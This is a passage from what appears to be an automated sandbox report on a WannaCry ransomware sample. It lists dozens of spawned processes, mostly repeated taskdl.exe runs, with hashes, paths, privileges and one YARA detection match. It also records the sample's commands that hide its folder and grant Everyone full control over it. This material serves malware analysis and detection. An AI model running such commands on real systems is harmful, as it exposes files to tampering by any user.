                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:125
                                                                                                                                                                              Start time:09:19:51
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:126
                                                                                                                                                                              Start time:09:19:51
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:127
                                                                                                                                                                              Start time:09:19:52
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:128
                                                                                                                                                                              Start time:09:19:52
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:129
                                                                                                                                                                              Start time:09:19:52
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:130
                                                                                                                                                                              Start time:09:19:52
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:131
                                                                                                                                                                              Start time:09:19:52
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:132
                                                                                                                                                                              Start time:09:19:53
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:133
                                                                                                                                                                              Start time:09:19:53
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:134
                                                                                                                                                                              Start time:09:19:53
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:135
                                                                                                                                                                              Start time:09:19:53
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:136
                                                                                                                                                                              Start time:09:19:53
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\System32\dllhost.exe
                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                              Commandline:C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                              Imagebase:0x7ff6e9610000
                                                                                                                                                                              File size:21'312 bytes
                                                                                                                                                                              MD5 hash:08EB78E5BE019DF044C26B14703BD1FA
                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:137
                                                                                                                                                                              Start time:09:19:53
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:138
                                                                                                                                                                              Start time:09:19:54
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:139
                                                                                                                                                                              Start time:09:19:54
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:140
                                                                                                                                                                              Start time:09:19:54
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:141
                                                                                                                                                                              Start time:09:19:54
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:142
                                                                                                                                                                              Start time:09:19:55
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:143
                                                                                                                                                                              Start time:09:19:55
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:144
                                                                                                                                                                              Start time:09:19:55
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:145
                                                                                                                                                                              Start time:09:19:55
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:146
                                                                                                                                                                              Start time:09:19:55
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:147
                                                                                                                                                                              Start time:09:19:56
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:148
                                                                                                                                                                              Start time:09:19:56
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:149
                                                                                                                                                                              Start time:09:19:56
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:150
                                                                                                                                                                              Start time:09:19:56
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:151
                                                                                                                                                                              Start time:09:19:56
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:"C:\Users\user\Desktop\f_000112.exe"
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:3'514'368 bytes
                                                                                                                                                                              MD5 hash:84C82835A5D21BBCF75A61706D8AB549
                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Yara matches:
                                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000097.00000002.1486778003.000000000040F000.00000004.00000001.01000000.00000003.sdmp, Author: us-cert code analysis team
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:152
                                                                                                                                                                              Start time:09:19:56
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:153
                                                                                                                                                                              Start time:09:19:57
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:154
                                                                                                                                                                              Start time:09:19:57
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:155
                                                                                                                                                                              Start time:09:19:57
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:156
                                                                                                                                                                              Start time:09:19:57
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:attrib +h .
                                                                                                                                                                              Imagebase:0xdc0000
                                                                                                                                                                              File size:19'456 bytes
                                                                                                                                                                              MD5 hash:0E938DD280E83B1596EC6AA48729C2B0
                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:157
                                                                                                                                                                              Start time:09:19:57
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:icacls . /grant Everyone:F /T /C /Q
                                                                                                                                                                              Imagebase:0x6c0000
                                                                                                                                                                              File size:29'696 bytes
                                                                                                                                                                              MD5 hash:2E49585E4E08565F52090B144062F97E
                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:158
                                                                                                                                                                              Start time:09:19:57
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              Imagebase:0x7ff6684c0000
                                                                                                                                                                              File size:862'208 bytes
                                                                                                                                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:159
                                                                                                                                                                              Start time:09:19:57
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              Imagebase:0x7ff6684c0000
                                                                                                                                                                              File size:862'208 bytes
                                                                                                                                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:160
                                                                                                                                                                              Start time:09:19:57
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:161
                                                                                                                                                                              Start time:09:19:58
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:162
                                                                                                                                                                              Start time:09:19:58
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:163
                                                                                                                                                                              Start time:09:19:58
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:164
                                                                                                                                                                              Start time:09:19:59
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:165
                                                                                                                                                                              Start time:09:19:59
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:166
                                                                                                                                                                              Start time:09:19:59
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:167
                                                                                                                                                                              Start time:09:19:59
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:168
                                                                                                                                                                              Start time:09:20:00
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:169
